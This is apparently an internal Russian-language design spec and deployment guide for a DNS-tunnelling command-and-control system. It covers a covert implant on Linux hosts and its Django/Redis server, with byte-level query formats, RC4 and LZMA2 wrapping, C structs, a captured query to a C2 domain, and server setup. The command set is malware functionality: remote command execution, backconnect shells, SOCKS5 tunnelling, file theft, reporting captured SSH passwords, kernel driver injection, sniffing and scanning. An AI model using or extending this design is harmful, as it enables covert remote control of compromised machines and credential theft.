Существует 2 протокола связи, инкапсулированных в днс: Jumbo и RealTime. (не актуально)
- Инкапсулирует весь объем данных за раз и полученную строчку передает запросами типа A.
- После окончания данных для передачи получает ответы запросами типа TXT.
Модель сеанса связи:
Implant (dns_a) -> Server --- Server (dns_txt) --> Implant;
Преимущества: высокая степень сжатия.
Недостатки: невозможно управлять направлением потока.
- Инкапсулирует столько данных, сколько поместится в поле qname так, что бы это был самодостаточный PDU.
- Отправляет запрос TXT, передавая данные на сервер.
- Получает ответ на запрос TXT вместе с данными от сервера.
Модель сеанса связи:
Implant -> (dns_txt QNAME) -> Server
Implant <- (dns_txt QNAME) <- Server
Преимущества: синхронный ввод-вывод.
Недостатки: очень низкое КПД для компрессии, qname приходится получать обратно.
Формат запросов
───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: spec.md
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ +-------------------------------------------------------------------------------------+---------------------------------------------------------------------------------+
2 │ | JUMBO |
3 │ | | |
4 │ | | |
5 │ | | |
6 │ | generating pdu +-------+ | +-------+ handle income |
7 │ | +----------------------------------|IMPLANT| | |BACKEND|-----------------+ |
8 │ | | +-------+ | +-------+ | |
9 │ | | +----------------------------| | | |
10 │ | +---------------+----v----+ | | | +----v----+ |
11 │ | v | +-+-----T_A-------send-all-data------------>---then-send-last--------> |--------| |
12 │ | GENERATING REQUEST DATA | PULSE | | | | | INCOME | v |
13 │ | COMPRESS BIG BLOCK | OUTGO | | +-----------<-T_A----hash(decoded)----<+BUFFER | HANDLING REQUEST TRANSPORT |
14 │ | ENCRYPT BIG BLOCK +---------+ | | |+--------+ DECODING PARTS |
15 │ | HANDLING REQUEST TRANSPORT| | +---->T_TXT-----ask-for-reply------------>---------------------------> | DECRYPTING BIG BLOCK |
16 │ | ENCODING PARTS | PULSE | | |GENERATED| DECOMPRESSING BIG BLOCK |
17 │ | HANDLING REPLY TRANSPORT |REQUESTED| | | REPLY | HANDLING PDU |
18 │ | DECODING PARTS | PDU <---------T_TXT-----receive--last------------<-T_TXT---send-response-----< | GENERATING REPLY DATA |
19 │ | DECRYPTING BIG BLOCK | | | | | HANDLING REPLY TRANSPORT |
20 │ | DECOMPRESSING BIG BLOCK +---------+ | +---------+ |
21 │ | HANDLING PDU REPLY | |
22 │ | | |
23 │ +-------------------------------------------------------------------------------------|---------------------------------------------------------------------------------+
┌────────┬─────────────────────────┬─────────────────────────┬────────┬────────┐
│00000000│ ae 00 01 20 00 01 00 00 ┊ 00 00 00 00 01 32 01 78 │×0• 0•00┊0000•2•x│
│00000010│ 04 44 41 54 41 08 53 65 ┊ 73 73 48 6f 73 74 03 64 │•DATA•Se┊ssHost•d│
│00000020│ 6e 73 07 6c 69 6e 75 78 ┊ 65 73 07 73 79 73 74 65 │ns•linux┊es•syste│
│00000030│ 6d 73 00 00 01 00 01 ┊ │ms00•0• ┊ │
└────────┴─────────────────────────┴─────────────────────────┴────────┴────────┘
Domain Name System (query)
Transaction ID: 0xae00
Flags: 0x0120 Standard query
0... .... .... .... = Response: Message is a query
.000 0... .... .... = Opcode: Standard query (0)
.... ..0. .... .... = Truncated: Message is not truncated
.... ...1 .... .... = Recursion desired: Do query recursively
.... .... .0.. .... = Z: reserved (0)
.... .... ..1. .... = AD bit: Set
.... .... ...0 .... = Non-authenticated data: Unacceptable
Questions: 1
Answer RRs: 0
Authority RRs: 0
Additional RRs: 0
Queries
2.x.DATA.SessHost.dns.linuxes.systems: reply_type A, reply_class IN
Name: 2.x.DATA.SessHost.dns.linuxes.systems
[Name Length: 37]
[Label Count: 7]
Type: A (Host Address) (1)
Class: IN (0x0001)
[Response In: 6]
#define PULSE_CHECK 0x00 //запрос-ответ проверка протокола (транспорт днс)
#define PULSE_PULSE 0x01 //запрос-ответ пульс (транспорт днс)
#define PULSE_STATE 0x02 //запрос-ответ GetState (транспорт днс)
#define PULSE_BCONN 0x03 //запрос backconnect, bindport (транспорт в опциях)
#define PULSE_EVAL 0x04 //запрос-ответ comand exec (транспорт днс)(не интерактивно, с получением выхлопа в админку)
#define PULSE_SOCKS5 0x05 //запрос тунелирования (транспорт в опциях)(для днс это будет весело, я гарантирую)
#define PULSE_PUSH 0x06 //передача файла с сервера на хост (транспорт в опциях)
#define PULSE_PULL 0x07 //передача файла с хоста на сервер (транспорт в опциях)
#define PULSE_PWDIN 0x08 //отстук входящих паролей (транспорт днс)(если в составе ссш)
#define PULSE_PWDOUT 0x09 //отстук исходящих паролей (транспорт днс)(если с составе ссш)
#define PULSE_CLIPTY 0x0A //интерактивная сессия (транспорт днс)(где-то в админке)
#define PULSE_KERNEL 0x0B //подмешать в ядро драйвер (транспорт определяется в опциях)
#define PULSE_TSTOP 0x0C //остановить активную на хосте задачу (например сокс5, или зависшую PULSE_EVAL)
#define PULSE_TUNDEV 0x0D //пока сам не представляю как это будет работать (транспорт в опциях)
#define PULSE_MAPFD 0x0E //переадресация дескриптора. Пример: BIND(tcp:1337)+ACCEPT(tcp:1337) <-> CONNECT(udp:4444)
#define PULSE_SCAN 0x0F //запрос-ответ сканирования сети
#define PULSE_SNIFF 0x10 //запустить сетевой сниффер
#define PULSE_UPGRADE 0x11 //весело будет только мне
#define PULSE_ERROR 0xff //сообщение об ошибке (для отладочных билдов?)
Off-topic:
прим: все оффсеты в сыром представлении, если тебе либа вырезает точки - учитывай это в своих пересчетах прим2: .api.let-it.systems просто обрезаются, условно будем воспринимать позицию предыдущего байта как "end"
DNS query `QName` bytes structure:
qname[0]: request accuracy byte
-- если не равен 0x01 - запрос не валиден.
qname[1]: -
'1', '2' -- base32 -- приводим к нижнему регистру
'3', '4' -- класический bas64 -- не приводим
'5', '6' -- кастомный base64 -- приводим к нижнему регистру
'7', '8' -- бейс92 -- его пока не тестировали даже
'9', '0' -- может быть расширимся для клаудфлары, но это все потом
qname[1] % 2: Indicator if this is a last part of received message for a session:
qname[1] % 2 != 0: (first or next package of a session)
-- значит блок не последний. если это первый запрос с таким сессионным номером - значит создается новая сессия
и в нее начинают дописываться сырые блоки.
qname[1] % 2 == 0: (last package for a session)
-- значит это крайний сырой блок в сессии. декодируешь все полученные в сессии данные (ДАЛЕЕ: PDU). обрабатываешь их.
-- после передачи всех данных серверу, клиент начинает получать ответы (ДАЛЕЕ: МЕНЯЕТ ПОТОК)
qname[2]:
-- если не равен 0x01 - запрос не валиден
qname[3]:
символ конвертируется в число от 0 до 31 по таблице base32
-- 5й бит (resend) как флаг повторной отправки | 00010000
-- 4й бит (finrst) как флаг конца сессии | 00001000
qname[end-7],qname[end-6],qname[end-5],qname[end-4],qname[end-3],qname[end-2],qname[end-1],qname[end-0]:
-- это сессионный блок. всегда приводится к нижнему регистру, всегда в бейс32.
-- после декодирования получаешь 5 байтовый инт, в биг-эндианах, делешь его на 2, слева сессия, справа хостид.
qname[end-8]:
-- если не равен 0x08 - запрос не валиден.
qname[5] ... qname[end-9]:
-- транспортные блоки. вырезаешь точки, получаешь строчку обвернутую в кодек, декодируешь кодеком определенном в пункте 1
-- получаешь сырой набор байт. (ДАЛЕЕ: СЫРОЙ БЛОК.) считаешь их crc32 хеш и отвечаешь этим хешем на запрос.
base32_char_decode(qname[3]) & 0b00010000 != 0:
-- значит предыдущий блок был декодирован некорректно, удаляешь его из сессинных данных.
-- после удаления продолжаешь обработку текущих данных
RR[0] -- RR[3]:
-- crc32 хеш-сумма полученного тобой сырого блока
qname[0]:
-- если не равен 0x01 - запрос не валиден.
qname[1]:
-- кодек, которым ты кодируешь следующий сырый блок ответа
qname[2]:
-- если не равен 0x01 - запрос не валиден.
qname[3]:
-- блок рандомизации, смысловой нагрузки не несет
qname[5],qname[6],qname[7],qname[8],qname[9],qname[a],qname[b]:
-- crc32 хеш последнего полученного от сервера блока, закодированный base32.
-- в случае первого запроса TXT (ДАЛЕЕ: ВЕДУЩЕГО) равен нулю закодированному в base32
qname[c]:
-- если не равер 0x08 - запрос не валиден.
qname[end-7],qname[end-6],qname[end-5],qname[end-4],qname[end-3],qname[end-2],qname[end-1],qname[end-0]:
-- это сессионный блок. всегда приводится к нижнему регистру, всегда в бейс32.
-- после декодирования получаешь 5байтовый инт, в биг-эндианах, делешь его на 2, слева сессия, справа хостид.
RR[1]:
-- ведущий байт ответа
base32_char_decode(RR[1]) & 0b00010000 != 0:
-- значит предыдущий блок был декодирован клиентом некорректно, хешсумма не совпадает
-- "откатываем" состояние передачи назад на этот блок, и повторяем передачу.
base32_char_decode(RR[1]) & 0b00001000 != 0:
-- последний блок был передан, сессия завершена
-- codec_encode(RAW_BYTES) - кодировка
-- codec_decode(RAW_BYTES) - декодировка
-- rc4(lzma2_encode(CLEAR_BYTES)) - инкапсуляция
-- rc4(lzma2_decode(CODED_BYTES)) - декапсуляция
все сишные структуры для коммуникации ипланта и сервера продублированы в модуле cp_types.py
Структура pulse_t:
один pulse_t == один чайлд == одина таска
typedef struct pulse_pulse
{
u_char cmd_id;
u_char task_id;
u_short reserved;
pid_t worker_pid;
struct timeval start;
} pulse_t;
size: 24 байта
Это 1 объект == одна задача на импланте - тело пейлоада
Любой пейлоад обвернут в материнскую структуру.
/// заголовок любого декапсулированного сообщения
typedef struct ALIGNED_X (1) query_struct
{
u_char direction; - направление пейлоада: 0 - на сервер, 1 - от сервера
u_char task_id; - айди таска для этого бота
u_char cmd_id; - номер команды
u_char task_crc8; - хеш сумма пейлоада
uint32_t payload_size; - размер пейлоада
// payload:
union
{
raw_t payload; - указатель на пейлоад
task_t task; - перегруженный указатель на структуры пейлоадов
};
} * query_t;
sizeof(union) == 0;
Структуры query_t и reply_t одинаковы для любого пейлоада, отличия только в значениях:
- u_char task_crc8 - хеш сумма пейлоада;
мы не имплементируем отдельно crc8 алгоритм. просто берем crc32 и ксорим каждый его байт между собой, тоесть,
если crc32 == 7b8b0533
то в это поле мы кладем
0x7b ^ 0x8b ^ 0x05 ^ 0x33 == 0xc6
- uint32_t payload_size; - сырой размер нагрузки
следом за payload_size идет собственно говоря сырая нагрузка
тип этой нагрузки определяется
u_char cmd_id; -- тип команды
типом команды могут быть значения из дефайнов типа PULSE_PULSE, PULSE_EXECS, PULSE_...
u_char task_id;
в случае, если сервер ставит задачу из админки, к примеру PULSE_EXECS -- ему присваивается айдишник от 1 до 0xff
он уникальный в рамках конкретного бота
бот забирает задачу с сервера ТОЛЬКО сообщениями типа PULSE_PULSE
в них task_id == 0 всегда, так как это задача нулевого приоритета
в ответ на пульсы, если есть таск, сервер отдает таск с выставленными cmd_id и task_id.
бот забирает таск, выполняет её.
Пока таск выполняется -- пульсы будут приходить с размером пейлоада больше чем 24
24 - это размер нулевого процесса импланта и минимальный размер для пейлоада сообщения типа пульс
то есть они будут все кратны 24
24 * 1
24 * 2
24 * N
24 * 0xff
где множитель = числу запущенных на хосте задач
Когда бот обработал таску от сервера спустя секунду или час
с той же сессией, с тем же task_id и cmd_id приходит ответ
набором А запросов.
Получив последний валидный crc32 хеш на запрос с флагом LAST -- сессия считается закрытой
Если что-то пошло не так сервер не узнает об этом, т.к. имплант не будет делать еще 1 круг
что бы оповестить об этом сервер
git clone https://github.com/{GIT_USER_NAME}/server.git .
cd project_root/
cp .env.tmpl .env
cp .env.c2.tmpl .env.c2
Right mouse button -> Mark Directory as Sources Root:
project_root/src
project_root/config/settings/local.py
put there settings for overriding defaults
.envfile: parameters are used to initialize PostgreSQL DB. It is recommended to use same values as they are specified by default in DATABASES section ofconfig/settings.py. Below is an example:
# ------------------------------------------------------------------------------
# ENVIRONMENT: (dev, stage, prod)
# ------------------------------------------------------------------------------
ENV_TYPE=dev
# ------------------------------------------------------------------------------
# REDIS
# ------------------------------------------------------------------------------
REDIS_HOST=127.0.0.1
# ------------------------------------------------------------------------------
# DJANGO
# ------------------------------------------------------------------------------
POSTGRES_DB_HOST=127.0.0.1
# default: 8000 (just in case you need to run server on custom port)
# DJANGO_SERVER_PORT=
# ------------------------------------------------------------------------------
# PostgreSQL
# ------------------------------------------------------------------------------
POSTGRES_DB=dev_db
POSTGRES_USER=dev_user
POSTGRES_PASSWORD=dev_password
.env.c2file: parameters are used to initialize C2 app server.
# ------------------------------------------------------------------------------
# ENVIRONMENT:
# ------------------------------------------------------------------------------
ENV_TYPE=dev
BIND_TO=127.0.0.1
# ------------------------------------------------------------------------------
# EXPERIMENTAL FLAGS
# ------------------------------------------------------------------------------
# base32 codec usage only
ENFORCE_ALL_ENCODINGS_TO_BASE_32 = False
# manual c2 commands mode via console
INTERACTIVE_CONSOLE = False
.env: parameters are used to initialize PostgreSQL DB.
# ------------------------------------------------------------------------------
# ENVIRONMENT: (dev, stage, prod)
# ------------------------------------------------------------------------------
ENV_TYPE=stage
# ------------------------------------------------------------------------------
# PostgreSQL
# ------------------------------------------------------------------------------
POSTGRES_DB=
POSTGRES_USER=
POSTGRES_PASSWORD=
# ------------------------------------------------------------------------------
# DJANGO
# ------------------------------------------------------------------------------
DJANGO_SECRET_KEY=
DJANGO_ALLOWED_HOSTS='["web", "127.0.0.1", "0.0.0.0", "[::1]"]'
POSTGRES_DB_NAME=
POSTGRES_DB_USER=
POSTGRES_DB_PASSWORD=
POSTGRES_DB_HOST=db
POSTGRES_DB_PORT=5432
# ------------------------------------------------------------------------------
# API secrets
# ------------------------------------------------------------------------------
API_SECRET_KEY=API_INSECURE_SECRET_KEY
.env.c2file: parameters are used to initialize C2 app server.
# ------------------------------------------------------------------------------
# C2 server envs:
# ------------------------------------------------------------------------------
# ------------------------------------------------------------------------------
# REDIS
# ------------------------------------------------------------------------------
REDIS_HOST=127.0.0.1
REDIS_PORT=6379
# domain name
RAW_DOMAIN=
# server port, default 5353
SERVER_PORT=5353
# server's listen ip: 127.0.0.1 or 0.0.0.0, default: 127.0.0.1
BIND_TO=0.0.0.0
docker-compose uppython c2_app.pystart all docker containers using script (it obtains/renew letsencrypt certs and manage required configs for nginx)
./scripts/run_stage.sh
additional (optional):
run (restart) containers (Stage)
docker-compose -f docker-compose-stage.yml up -drun (restart) containers (Prod)
docker-compose -f docker-compose-prod.yml up -dstart c2 app server
python c2_app.py &Host
class Host:
host_id: int # дублируется для печати
seen: int # время последнего онлайна машини
tasks: list # задачи
tasks_history: list # когда ответ на задачу получен - задача перемещается сюда
state: HostInfo # структура информации о хосте
sessions: list[Session] # для закрытых сессий, история, логи
# db['hosts'][hostid]
# db['hosts'][hostid].seen
# db['hosts'][hostid].tasks
# db['hosts'][hostid].tasks_history
# db['hosts'][hostid].state = HostInfo()
# db['hosts'][hostid].sessions
class Session:
host_id: int
session_id: int
input: b''
outgo: b''
rr: bool # ответ готов
Ac: int # кол-во входящих А
Tc: int # кол-во исходящих Т
Ec: int # кол-во возникших ошибок
Dc: int # Ждет ответа, нельзя закрывать
ll: int # last length
pos: int # position
???
- бот забирает задачу с сервера ТОЛЬКО сообщениями типа PULSE_PULSE
- если задач нету, серер шлет generate_noop_reply(PULSE_NOOPS)
- создаем таску для клиента, чтобы он прислал данные о своём состоянии
Если клиент отправил пульс (PULSE_PULSE), и для него нет задач - сервер шлет generate_noop_reply(PULSE_NOOPS).
Если клиент отправил ответ на задачу (PULSE_TDONE) - сервер отвечает generate_noop_reply(PULSE_TDONE).
1) Если клиент отправил пульс (PULSE_PULSE), и для него нет задач - сервер шлет generate_noop_reply(PULSE_NOOPS).
2) Если клиент отправил ответ на задачу (PULSE_TDONE) - сервер шлет generate_noop_reply(PULSE_TDONE).
3) Если клиент отправил (PULSE_CHECK)